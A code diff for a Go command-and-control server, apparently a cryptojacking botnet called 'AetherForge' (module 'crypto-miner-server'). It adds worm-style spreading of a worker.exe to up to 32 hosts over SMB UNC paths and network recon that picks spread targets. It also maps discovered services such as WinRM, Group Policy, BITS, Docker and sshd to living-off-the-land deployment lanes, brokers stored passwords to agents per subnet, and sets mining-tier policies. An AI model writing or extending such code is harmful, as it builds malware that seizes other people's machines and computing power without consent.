existing.AgentID = host.AgentID
|
||||
}
|
||||
existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
|
||||
base[hostKey] = existing
|
||||
}
|
||||
return base
|
||||
}
|
||||
|
||||
func dedupeServiceEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
|
||||
seen := make(map[string]bool, len(in))
|
||||
out := make([]ServiceGraphEntry, 0, len(in))
|
||||
for _, e := range in {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + "|" + e.Source
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func serviceGraphList(m map[string]ServiceGraphHost) []ServiceGraphHost {
|
||||
if len(m) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]ServiceGraphHost, 0, len(m))
|
||||
for _, host := range m {
|
||||
out = append(out, host)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func formatDiscoveredAt(t *time.Time) string {
|
||||
if t == nil {
|
||||
return ""
|
||||
}
|
||||
return t.UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
|
||||
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
|
||||
@@ -157,6 +157,16 @@ func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey str
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure", "success": true,
|
||||
})})
|
||||
case "network_recon":
|
||||
hints, _ := json.Marshal(map[string]interface{}{
|
||||
"spread_targets": []string{"192.168.1.50"},
|
||||
"spread_target_count": 1,
|
||||
"domain_joined": true,
|
||||
"prefer_join_lane": "gpo",
|
||||
})
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "network_recon", "success": true, "message": string(hints),
|
||||
})})
|
||||
case "wg_teardown":
|
||||
return
|
||||
}
|
||||
@@ -439,3 +449,147 @@ func TestPathTracerStartValidation(t *testing.T) {
|
||||
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("empty body: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("non-UNC path: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions["sess-missing"] = testTraceSession(1)
|
||||
h.mu.Unlock()
|
||||
body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadDispatches(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "spread-egress-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
cmdCh := make(chan map[string]interface{}, 1)
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
if payload["action"] == "spread_smb_unc" {
|
||||
cmdCh <- payload
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Spread(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
select {
|
||||
case payload := <-cmdCh:
|
||||
if payload["path"] != `\\forge\pathforge$\worker.exe` {
|
||||
t.Fatalf("unexpected path: %v", payload["path"])
|
||||
}
|
||||
if payload["command"] != "32" {
|
||||
t.Fatalf("unexpected max_hosts command: %v", payload["command"])
|
||||
}
|
||||
case <-time.After(3 * time.Second):
|
||||
t.Fatal("timed out waiting for spread_smb_unc command")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
agentID := "trace-network-hints"
|
||||
startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB")
|
||||
|
||||
body := `{"agent_ids":["` + agentID + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var startResp struct {
|
||||
SessionID string `json:"session_id"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", startResp.SessionID)
|
||||
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx))
|
||||
rec2 := httptest.NewRecorder()
|
||||
handler.Status(rec2, req2)
|
||||
if rec2.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String())
|
||||
}
|
||||
var status struct {
|
||||
NetworkHints map[string]interface{} `json:"network_hints"`
|
||||
}
|
||||
if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if status.NetworkHints != nil {
|
||||
if status.NetworkHints["prefer_join_lane"] != "gpo" {
|
||||
t.Fatalf("unexpected hints: %+v", status.NetworkHints)
|
||||
}
|
||||
return
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("timed out waiting for network_hints on pathtrace session")
|
||||
}
|
||||
|
||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -548,6 +548,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Dashboard
|
||||
r.Get("/dashboard/stats", h.GetDashboardStats)
|
||||
|
||||
vulnHandler := NewVulnHandler()
|
||||
r.Get("/vuln/catalog", vulnHandler.Catalog)
|
||||
|
||||
// Agents
|
||||
r.Get("/agents", h.ListAgents)
|
||||
r.Get("/agents/{id}", h.GetAgent)
|
||||
@@ -614,10 +617,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
@@ -700,6 +707,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
@@ -712,6 +721,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
if spreadCredHandler != nil {
|
||||
r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken)
|
||||
r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken)
|
||||
r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge)
|
||||
}
|
||||
if deployPlanHandler != nil {
|
||||
r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan)
|
||||
}
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -9,4 +9,25 @@ type ServerPolicy struct {
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
PoolReconnectSeconds int
|
||||
LotlOnionTiers []string
|
||||
ServiceDeployAllowlist map[string]ServiceDeployLane
|
||||
MiningTierPolicy MiningTierPolicy
|
||||
TripleOnionPolicy TripleOnionPolicy
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
type TripleOnionPolicy struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
|
||||
type MiningTierPolicy struct {
|
||||
TierOrder []string `json:"tier_order,omitempty"`
|
||||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||
ForceTier string `json:"force_tier,omitempty"`
|
||||
}
|
||||
|
||||
@@ -14,6 +14,11 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
|
||||
StrictWalletValidation: true,
|
||||
MaxBuildSizeMB: 64,
|
||||
PoolReconnectSeconds: 30,
|
||||
TripleOnionPolicy: TripleOnionPolicy{
|
||||
PatchFirst: true,
|
||||
SkipMiningOnHighRisk: true,
|
||||
HighRiskThreshold: 50,
|
||||
},
|
||||
}
|
||||
|
||||
data, err := json.Marshal(in)
|
||||
@@ -25,7 +30,18 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
|
||||
if err := json.Unmarshal(data, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out != in {
|
||||
if out.MaxAgents != in.MaxAgents ||
|
||||
out.LogAgentConnections != in.LogAgentConnections ||
|
||||
out.LogShareSubmissions != in.LogShareSubmissions ||
|
||||
out.LogPoolTraffic != in.LogPoolTraffic ||
|
||||
out.StrictWalletValidation != in.StrictWalletValidation ||
|
||||
out.MaxBuildSizeMB != in.MaxBuildSizeMB ||
|
||||
out.PoolReconnectSeconds != in.PoolReconnectSeconds {
|
||||
t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in)
|
||||
}
|
||||
if !out.TripleOnionPolicy.PatchFirst ||
|
||||
!out.TripleOnionPolicy.SkipMiningOnHighRisk ||
|
||||
out.TripleOnionPolicy.HighRiskThreshold != 50 {
|
||||
t.Fatalf("triple onion policy round-trip mismatch: %+v", out.TripleOnionPolicy)
|
||||
}
|
||||
}
|
||||
|
||||
129
server/internal/api/service_deploy.go
Normal file
129
server/internal/api/service_deploy.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
|
||||
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
|
||||
}
|
||||
|
||||
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
|
||||
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
||||
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
||||
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
||||
"Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"},
|
||||
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
}
|
||||
|
||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||
func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane {
|
||||
if len(raw) == 0 {
|
||||
dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist))
|
||||
for k, v := range DefaultServiceDeployAllowlist {
|
||||
dup[k] = v
|
||||
}
|
||||
return dup
|
||||
}
|
||||
out := make(map[string]ServiceDeployLane, len(raw))
|
||||
for name, lane := range raw {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
lane.Lane = normalizeJoinLane(lane.Lane)
|
||||
if lane.Template == "" {
|
||||
switch lane.Lane {
|
||||
case "winrm":
|
||||
lane.Template = "winrm"
|
||||
case "gpo":
|
||||
lane.Template = "gpo"
|
||||
case "linux_lotl":
|
||||
lane.Template = "linux-lotl"
|
||||
}
|
||||
}
|
||||
out[name] = lane
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeJoinLane(lane string) string {
|
||||
lane = strings.ToLower(strings.TrimSpace(lane))
|
||||
switch lane {
|
||||
case "bits", "bits/curl", "bits_curl", "bits-curl":
|
||||
return "bits_curl"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
return "spread_smb_unc"
|
||||
case "linux", "linux_lotl", "linux-lotl":
|
||||
return "linux_lotl"
|
||||
default:
|
||||
return lane
|
||||
}
|
||||
}
|
||||
|
||||
// PickDeployLane chooses the highest-priority allowlisted running service.
|
||||
func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||
var bestPriority int
|
||||
for _, svc := range services {
|
||||
if !serviceRunningForJoin(svc.Status) {
|
||||
continue
|
||||
}
|
||||
entry, found := allowlist[svc.Name]
|
||||
if !found {
|
||||
// Case-insensitive fallback
|
||||
for k, v := range allowlist {
|
||||
if strings.EqualFold(k, svc.Name) {
|
||||
entry, found = v, true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
pri := entry.Priority
|
||||
if pri == 0 {
|
||||
pri = 1
|
||||
}
|
||||
if !ok || pri > bestPriority {
|
||||
ok = true
|
||||
bestPriority = pri
|
||||
matched = svc.Name
|
||||
lane = entry
|
||||
}
|
||||
}
|
||||
return matched, lane, ok
|
||||
}
|
||||
|
||||
func serviceRunningForJoin(status string) bool {
|
||||
switch strings.ToLower(strings.TrimSpace(status)) {
|
||||
case "running", "started", "active":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// DeployServiceFinding is one service reported by the agent during discover_and_join.
|
||||
type DeployServiceFinding struct {
|
||||
Name string `json:"name"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type,omitempty"`
|
||||
}
|
||||
58
server/internal/api/service_deploy_test.go
Normal file
58
server/internal/api/service_deploy_test.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package api
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestPickDeployLanePriority(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"WinRM": {Lane: "winrm", Priority: 30},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
})
|
||||
services := []DeployServiceFinding{
|
||||
{Name: "CCMEXEC", Status: "running"},
|
||||
{Name: "WinRM", Status: "running"},
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok {
|
||||
t.Fatal("expected match")
|
||||
}
|
||||
if matched != "WinRM" || lane.Lane != "winrm" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneIgnoresStopped(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "CCMEXEC", Status: "stopped"}}
|
||||
_, _, ok := PickDeployLane(services, allowlist)
|
||||
if ok {
|
||||
t.Fatal("stopped service should not match")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeJoinLaneAliases(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"bits/curl": "bits_curl",
|
||||
"spread_smb_unc": "spread_smb_unc",
|
||||
"linux-lotl": "linux_lotl",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := normalizeJoinLane(in); got != want {
|
||||
t.Fatalf("%q => %q want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyDeployPlanSignature(t *testing.T) {
|
||||
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
|
||||
sig, err := signDeployPlan(plan, "test-secret")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !VerifyDeployPlanSignature(plan, sig, "test-secret") {
|
||||
t.Fatal("signature should verify")
|
||||
}
|
||||
if VerifyDeployPlanSignature(plan, sig, "wrong") {
|
||||
t.Fatal("wrong secret should fail")
|
||||
}
|
||||
}
|
||||
198
server/internal/api/spread_cred.go
Normal file
198
server/internal/api/spread_cred.go
Normal file
@@ -0,0 +1,198 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// DeploymentCredProfile is the API-facing deployment credential profile (no vault secrets).
|
||||
type DeploymentCredProfile struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Username string `json:"username"`
|
||||
VaultRef string `json:"vault_ref,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadCredProvider supplies authorized deployment credential profiles and vault secrets.
|
||||
type SpreadCredProvider interface {
|
||||
DeploymentProfiles() []DeploymentCredProfile
|
||||
OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile
|
||||
LoadProfileSecret(profileID string) (username, password string, err error)
|
||||
}
|
||||
|
||||
type spreadCredIssueRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet"`
|
||||
Method string `json:"method"`
|
||||
}
|
||||
|
||||
type spreadCredRedeemRequest struct {
|
||||
Token string `json:"token"`
|
||||
}
|
||||
|
||||
type spreadCredReportRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet"`
|
||||
CredentialProfileID string `json:"credential_profile_id"`
|
||||
Method string `json:"method"`
|
||||
Success bool `json:"success"`
|
||||
}
|
||||
|
||||
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
|
||||
type SpreadCredHandler struct {
|
||||
db *dbpkg.Database
|
||||
provider SpreadCredProvider
|
||||
}
|
||||
|
||||
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
|
||||
return &SpreadCredHandler{db: database, provider: provider}
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
|
||||
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.db.ListCredGraphBySubnet()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []dbpkg.CredGraphSubnetRow{}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"subnets": rows})
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/service-graph?agent_id=&subnet=
|
||||
func (h *SpreadHandler) GetServiceGraph(w http.ResponseWriter, r *http.Request) {
|
||||
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||
subnet := normalizeSubnetLabel(strings.TrimSpace(r.URL.Query().Get("subnet")))
|
||||
|
||||
services := []ServiceGraphEntry{}
|
||||
if h.wsHub != nil {
|
||||
services = h.wsHub.QueryServiceGraph(agentID, subnet)
|
||||
}
|
||||
resp := map[string]interface{}{"services": services}
|
||||
if agentID != "" {
|
||||
resp["agent_id"] = agentID
|
||||
}
|
||||
if subnet != "" {
|
||||
resp["subnet"] = subnet
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func normalizeSubnetLabel(subnet string) string {
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
if strings.HasSuffix(subnet, ".x") {
|
||||
return strings.TrimSuffix(subnet, ".x")
|
||||
}
|
||||
return subnet
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/spread-cred/issue
|
||||
func (h *SpreadCredHandler) IssueToken(w http.ResponseWriter, r *http.Request) {
|
||||
if h.provider == nil {
|
||||
http.Error(w, "deployment credentials not configured", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
var req spreadCredIssueRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Subnet = strings.TrimSpace(req.Subnet)
|
||||
req.Method = strings.TrimSpace(req.Method)
|
||||
req.AgentID = strings.TrimSpace(req.AgentID)
|
||||
if req.Host == "" || req.Subnet == "" || req.Method == "" {
|
||||
http.Error(w, "host, subnet, and method required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
affinity, err := h.db.ListCredProfileAffinity(req.Subnet)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
ordered := h.provider.OrderProfilesForSubnet(req.Subnet, affinity)
|
||||
if len(ordered) == 0 {
|
||||
http.Error(w, "no deployment credential profiles configured", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
profile := ordered[0]
|
||||
username, password, err := h.provider.LoadProfileSecret(profile.ID)
|
||||
if err != nil {
|
||||
http.Error(w, "credential vault unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
|
||||
token := issueSpreadCredToken(spreadCredTokenEntry{
|
||||
AgentID: req.AgentID,
|
||||
ProfileID: profile.ID,
|
||||
Username: username,
|
||||
Password: password,
|
||||
Host: req.Host,
|
||||
Subnet: req.Subnet,
|
||||
Method: req.Method,
|
||||
})
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"token": token,
|
||||
"profile_id": profile.ID,
|
||||
"expires_in": int(spreadCredTokenTTL.Seconds()),
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/spread-cred/redeem
|
||||
func (h *SpreadCredHandler) RedeemToken(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadCredRedeemRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
